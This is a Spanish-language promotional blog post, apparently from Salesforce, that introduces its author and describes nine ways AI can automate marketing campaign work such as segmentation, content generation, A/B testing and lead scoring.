Daryl Martis es el Director de Producto de Salesforce para Einstein. Tiene más de 10 años de experiencia en la planificación, creación, lanzamiento y gestión de soluciones de clase mundial para clientes empresariales, incluidas soluciones de inteligencia artificial y aprendizaje automático y en la nube. Anteriormente trabajó en la industria de servicios financieros en la ciudad de Nueva York. Síguelo en LinkedIn o Twitter .
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¿Tiene una lista de tareas pendientes de tareas molestas que persisten sobre usted? Estamos hablando de los que se deben hacer para ejecutar una campaña: recopilar y analizar datos, crear líneas de asunto de correo electrónico atractivas, determinar la audiencia adecuada a la que apuntar y mucho más. Estas tareas pueden robarle su tiempo, y tal vez incluso su cordura. Pero ahora hay una manera de reducir ese trabajo pesado, ayudándolo a concentrarse en el éxito de la campaña . Permítanos presentarle su nuevo asistente digital: AI.
A medida que las marcas buscan formas de acercarse a los consumidores, más de la mitad de los especialistas en marketing (62 %) afirman haber invertido en el poder de la IA. Nuestra encuesta State of Marketing más reciente encontró que tres de los cuatro principales casos de uso de IA están relacionados con la automatización, lo que destaca la importancia de aumentar la velocidad y la eficacia.
Echemos un vistazo a 9 formas en que el uso de la IA como asistente digital puede aumentar la eficacia y la eficiencia de sus campañas. Es hora de decir adiós a las tareas de campaña manuales redundantes que los especialistas en marketing desearían no tener que hacer, y deje que la IA lo ayude a aprovechar al máximo su tiempo.
AI puede analizar grandes volúmenes de datos de campaña, incluido el comportamiento del cliente, las métricas de rendimiento de la campaña y las tendencias del mercado. Puede identificar patrones, extraer información, detectar correlaciones y proporcionar recomendaciones prácticas para mejorar las estrategias y la orientación de la campaña.
Obtendrá una comprensión más profunda de los clientes y el rendimiento de la campaña, lo que le permitirá tomar decisiones informadas y encontrar el éxito más rápido.
Después de analizar los datos del cliente , su asistente digital de IA puede segmentar las audiencias según la demografía, el comportamiento, las preferencias, el historial de compras y otros atributos importantes. AI elimina el esfuerzo manual requerido para segmentar audiencias y se dirige a clientes específicos con ofertas más relevantes.
Cuando pueda personalizar los mensajes para diferentes segmentos, verá que las campañas tienen más éxito.
Los modelos predictivos de IA utilizan datos históricos para pronosticar el comportamiento del cliente, como la probabilidad de convertir, abandonar o interactuar con elementos específicos de la campaña.
Esto lo ayuda a mantenerse un paso adelante para abordar de manera proactiva las necesidades de los clientes y presupuestar los recursos de manera efectiva.
Crear contenido único con frecuencia puede ser una de las tareas que consume más tiempo para muchos especialistas en marketing, pero un asistente digital de IA puede ayudar. La IA, impulsada por el procesamiento del lenguaje natural (NLP, por sus siglas en inglés), puede generar contenido, como textos de anuncios, líneas de asunto de correos electrónicos y publicaciones en redes sociales, que resuena con sus clientes .
Puede proporcionar los toques finales para asegurarse de que el contenido esté en su voz y tono. También puede optimizar su contenido mediante el análisis de datos de rendimiento, la identificación de elementos de alto rendimiento y la sugerencia de mejoras.
La IA puede automatizar varios aspectos de la ejecución de la campaña, como la programación y la implementación de anuncios, el envío de correos electrónicos dirigidos o la gestión de publicaciones en las redes sociales. Esto reduce el esfuerzo manual y garantiza que su campaña se ejecute a tiempo.
¿Qué puedes hacer con el tiempo liberado gracias a la IA? Concéntrese en la estrategia y las ideas innovadoras, ayudándole a construir mejores relaciones con los clientes.
Centrarse en la innovación, no en tareas repetitivas. Vea cómo la IA generativa está transformando el marketing.
Según nuestro informe State of Marketing , el 72 % de los especialistas en marketing de alto rendimiento pueden analizar datos en tiempo real, lo que les otorga una ventaja a la hora de responder y optimizar el rendimiento de la campaña.
Su asistente digital de IA puede automatizar el seguimiento y la generación de informes de las métricas de rendimiento de la campaña, de formas que cualquiera puede entender. La IA puede generar paneles en tiempo real e informes personalizados agradables a la vista, lo que le brinda a usted y a sus partes interesadas una visión clara del rendimiento de la campaña y las métricas clave, sin la necesidad de hacerlo todo a mano.
Esto lo ayuda a tomar decisiones basadas en datos, optimizar campañas sobre la marcha y demostrar el valor de sus esfuerzos a las partes interesadas.
AI puede realizar pruebas A/B en elementos de campaña, como variaciones de anuncios, páginas de destino o diseños de correo electrónico. Analiza los datos de rendimiento , identifica las variaciones ganadoras y lo ayuda a refinar continuamente sus estrategias.
Cuando reúne todos sus datos de marketing y colabora con sus equipos en una sola plataforma, se moverá de manera más eficiente y estará más cerca de sus clientes. Vea cómo puede empezar.
Con IA, puede automatizar la puntuación de clientes potenciales mediante el análisis de los datos, el comportamiento y el historial de participación de los clientes potenciales. Asigna puntajes a los clientes potenciales en función de su probabilidad de conversión y ofrece contenido personalizado para mover a los clientes potenciales a través del embudo de ventas.
Con la puntuación de clientes potenciales de AI, su equipo puede centrarse en los clientes potenciales más prometedores y fomentar las relaciones a gran escala.
AI brilla como su asistente digital cuando maneja las necesidades de colaboración interna. Puede utilizar esta tecnología para automatizar la mensajería en su departamento, así como la gestión de proyectos, la asignación de tareas y el uso compartido de archivos. Los equipos pueden incluso aplicar automatizaciones de flujo de trabajo que programen reuniones, envíen recordatorios u organicen archivos, ocupándose de los pequeños detalles para que pueda concentrarse en el éxito de la campaña .
La IA está transformando la gestión de campañas al permitir que los equipos automaticen tareas manuales, liberando a los especialistas en marketing para trabajar en ideas más generales. Con AI como su aliado, puede optimizar sus campañas, ver mejores resultados y comenzar a enfocarse en sus próximos éxitos.
Aprenda cómo la IA puede ayudarlo a moverse de manera más eficiente y crear relaciones significativas con los clientes.
